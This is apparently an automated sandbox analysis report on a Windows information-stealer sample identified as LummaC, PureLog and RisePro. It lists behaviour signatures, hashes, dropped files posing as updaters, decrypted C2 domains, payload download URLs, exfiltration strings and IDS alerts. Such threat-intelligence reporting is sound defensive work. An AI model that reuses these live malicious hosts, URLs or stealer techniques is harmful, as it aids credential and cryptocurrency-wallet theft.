Windows Analysis Report
OJa1BOigU3.exe

Overview

General Information

Sample name: OJa1BOigU3.exe
renamed because original name is a hash value
Original sample name: 5158fed3ee415791bb7a7a3712373383.exe
Analysis ID: 1436604
MD5: 5158fed3ee415791bb7a7a3712373383
SHA1: b21e19150dd6df55b4578849fc4b6266e5b90829
SHA256: e3eea6ef7ef2314970047b0a887c67d780eed12d40d5931e0a3e72061de5e746
Tags: 32exeRiseProStealertrojan
Infos:

Detection

LummaC, PureLog Stealer, RisePro Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected LummaC Stealer
Yara detected PureLog Stealer
Yara detected RisePro Stealer
.NET source code contains method to dynamically call methods (often used by packers)
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to inject code into remote processes
Creates multiple autostart registry keys
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
LummaC encrypted strings found
Machine Learning detection for dropped file
Overwrites code with unconditional jumps - possibly settings hooks in foreign process
Query firmware table information (likely to detect VMs)
Sample uses string decryption to hide its real strings
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
Uses schtasks.exe or at.exe to add and modify task schedules
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to record screenshots
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Lumma Stealer, LummaC2 Stealer Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://193.233.132.253/lumma2804.exe Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Avira: detection malicious, Label: HEUR/AGEN.1323756
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2804[1].exe Avira: detection malicious, Label: HEUR/AGEN.1323756
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Avira: detection malicious, Label: HEUR/AGEN.1323756
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe Avira: detection malicious, Label: HEUR/AGEN.1323756
Found malware configuration
Source: U8cABsPhZFkKRrQ4rE0N.exe.3104.15.memstrmin Malware Configuration Extractor: LummaC {"C2 url": ["boredimperissvieos.shop", "holicisticscrarws.shop", "sweetsquarediaslw.shop", "plaintediousidowsko.shop", "miniaturefinerninewjs.shop", "miniaturefinerninewjs.shop", "zippyfinickysofwps.shop", "obsceneclassyjuwks.shop", "acceptabledcooeprs.shop", "miniaturefinerninewjs.shop"], "Build id": "H8NgCl--"}
Multi AV Scanner detection for domain / URL
Source: https://miniaturefinerninewjs.shop/api Virustotal: Detection: 9% Perma Link
Source: http://193.233.132.253/retailerTest.exe Virustotal: Detection: 25% Perma Link
Source: https://miniaturefinerninewjs.shop/apic Virustotal: Detection: 8% Perma Link
Source: sweetsquarediaslw.shop Virustotal: Detection: 10% Perma Link
Source: https://miniaturefinerninewjs.shop/apig Virustotal: Detection: 7% Perma Link
Source: http://193.233.132.253/lumma2804.exe Virustotal: Detection: 25% Perma Link
Source: https://miniaturefinerninewjs.shop:443/api Virustotal: Detection: 9% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe ReversingLabs: Detection: 62%
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Virustotal: Detection: 59% Perma Link
Source: C:\ProgramData\MSIUpdaterV1_93c4750d07be7885c8f839a66372e48f\MSIUpdaterV1.exe Virustotal: Detection: 30% Perma Link
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe ReversingLabs: Detection: 44%
Source: C:\ProgramData\MSIUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\MSIUpdaterV1.exe Virustotal: Detection: 41% Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe Virustotal: Detection: 59% Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_93c4750d07be7885c8f839a66372e48f\AdobeUpdaterV1.exe Virustotal: Detection: 30% Perma Link
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_b169c3872385b2c3c15a1f5f96f34ffe\AdobeUpdaterV1.exe Virustotal: Detection: 41% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Retailer_prog[1].exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\Retailer_prog[1].exe Virustotal: Detection: 41% Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\retailerTest[1].exe ReversingLabs: Detection: 62%
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\3Q7v9y6Zw0a51Z43zHih.exe ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe ReversingLabs: Detection: 62%
Multi AV Scanner detection for submitted file
Source: OJa1BOigU3.exe ReversingLabs: Detection: 44%
Source: OJa1BOigU3.exe Virustotal: Detection: 41% Perma Link
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\U8cABsPhZFkKRrQ4rE0N.exe Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\retailerTest[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\lumma2804[1].exe Joe Sandbox ML: detected
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\AdobeUpdaterV1_209ffc424b0966fd64861c7290d2a06a\AdobeUpdaterV1.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: boredimperissvieos.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: holicisticscrarws.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: sweetsquarediaslw.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: plaintediousidowsko.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: miniaturefinerninewjs.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: zippyfinickysofwps.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: obsceneclassyjuwks.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: acceptabledcooeprs.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: miniaturefinerninewjs.shop
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: TeslaBrowser/5.5
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: - Screen Resoluton:
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: - Physical Installed Memory:
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: Workgroup: -
Source: 0000000F.00000002.2291557988.0000000003F85000.00000004.00000800.00020000.00000000.sdmp String decryptor: H8NgCl--
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 17_2_004168A5 CryptUnprotectData, 17_2_004168A5
Uses 32bit PE files
Source: OJa1BOigU3.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49765 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49775 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49777 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.30.191:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49806 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49805 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49809 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49813 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49814 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49816 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49817 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49818 version: TLS 1.2
Source: unknown HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49820 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.26.5.15:443 -> 192.168.2.4:49821 version: TLS 1.2
Source: Binary string: NETCrypt.pdb source: OJa1BOigU3.exe, 00000000.00000003.2278188796.00000000068DA000.00000004.00000020.00020000.00000000.sdmp, U8cABsPhZFkKRrQ4rE0N.exe, 0000000F.00000000.2287643902.0000000000BB2000.00000002.00000001.01000000.00000008.sdmp, U8cABsPhZFkKRrQ4rE0N.exe.0.dr, lumma2804[1].exe.0.dr, MSIUpdaterV1.exe0.0.dr
Source: Binary string: RegAsm.pdb source: RegAsm.exe, 00000019.00000002.3510229323.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe, 00000024.00000000.2415322338.0000000000482000.00000002.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.0000000001236000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.0000000001554000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe.25.dr, RageMP1.exe.25.dr
Source: Binary string: d:\DMG_1102CTP\src\ndp\fx\src\DataWeb\Server\objr\i386\Microsoft.Data.Services.pdb source: Microsoft.Data.Services.dll
Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 00000019.00000002.3510229323.0000000000ED6000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe, 00000024.00000000.2415322338.0000000000482000.00000002.00000001.01000000.0000000F.sdmp, RegAsm.exe, 0000002A.00000002.3509011004.0000000001236000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000002C.00000002.3509342638.0000000001554000.00000004.00000020.00020000.00000000.sdmp, MPGPH1.exe.25.dr, RageMP1.exe.25.dr
Source: C:\Users\user\AppData\Local\Temp\span0MMV3ZTZWJef\v6ggwc2fJXXgIu5fzDQ2.exe Code function: 22_2_003AE66D FindFirstFileExW,FindNextFileW,FindClose,FindClose, 22_2_003AE66D
Source: C:\ProgramData\MSIUpdaterV1_209ffc424b0966fd64861c7290d2a06a\MSIUpdaterV1.exe Code function: 23_2_0012E66D FindFirstFileExW,FindNextFileW,FindClose,FindClose, 23_2_0012E66D
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MSIUpdaterV1.exe_f9eb3d1e2eda166485f639133f6bde09db46edb_bdfd7a68_899606cd-84e4-4b77-a8a7-4c234ca106ec\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue
Source: C:\Windows\SysWOW64\WerFault.exe File opened: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_v6ggwc2fJXXgIu5f_1887f2cf649886fae0c2ea234d3f8ef03762663d_678a9ce0_5061925a-09f5-43b8-b876-e8a14283e34c\
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+08h] 17_2_0043E6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ecx], al 17_2_00427878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00427878
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov esi, dword ptr [esp+70h] 17_2_00416975
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov edi, dword ptr [esi+0Ch] 17_2_00421ADB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+04h] 17_2_0043EC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then inc ebx 17_2_00414D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F56
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [edi], cl 17_2_0042617B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp word ptr [ebx+edi+02h], 0000h 17_2_0041817E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, eax 17_2_00423269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [00445A9Ch] 17_2_00417213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edi, byte ptr [ecx+esi] 17_2_004032C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+0Ch] 17_2_0043F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then dec edi 17_2_0043F2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then add ebx, 02h 17_2_004112AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then inc esi 17_2_004112AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp eax 17_2_004222B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov edx, dword ptr [esp+0Ch] 17_2_0043B383
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+70h] 17_2_00417533
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 17_2_004025D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+08h] 17_2_0043E590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, byte ptr [ebx+eax-01h] 17_2_0043C622
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+5Ch] 17_2_004246F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp ecx 17_2_004376B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then lea eax, dword ptr [edi+04h] 17_2_0042475B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 17_2_004257B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+20h] 17_2_0041F870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp ecx 17_2_004378C4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+08h] 17_2_0043E8D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esi+10h] 17_2_004288F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ecx], dl 17_2_004288F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp ecx 17_2_004379D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+08h] 17_2_00402A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esp+00000170h] 17_2_00412B63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ecx], al 17_2_00427C5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00427C5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ebx, ecx 17_2_0043DC3C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx edx, word ptr [ebp+eax*4+00h] 17_2_00407D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov edi, dword ptr [esp] 17_2_00407D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then push edi 17_2_00413DC9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 17_2_00434E40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov eax, dword ptr [esi+10h] 17_2_00424E60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then cmp byte ptr [edx], 00000000h 17_2_00411E79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [ecx], al 17_2_00416E26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+00000080h] 17_2_0041DEF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov word ptr [eax], cx 17_2_0041DEF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+0Ch] 17_2_0043CE90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov byte ptr [eax], cl 17_2_00426F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then mov ecx, dword ptr [esp+04h] 17_2_0043EF60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then xor ebx, ebx 17_2_00413F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then movsx ecx, byte ptr [esi+eax] 17_2_0040CF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 4x nop then jmp ecx 17_2_0043AF87

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.4:49739 -> 193.233.132.226:50500
Source: Traffic Snort IDS: 2046266 ET TROJAN [ANY.RUN] RisePro TCP (Token) 193.233.132.226:50500 -> 192.168.2.4:49739
Source: Traffic Snort IDS: 2046269 ET TROJAN [ANY.RUN] RisePro TCP (Activity) 192.168.2.4:49739 -> 193.233.132.226:50500
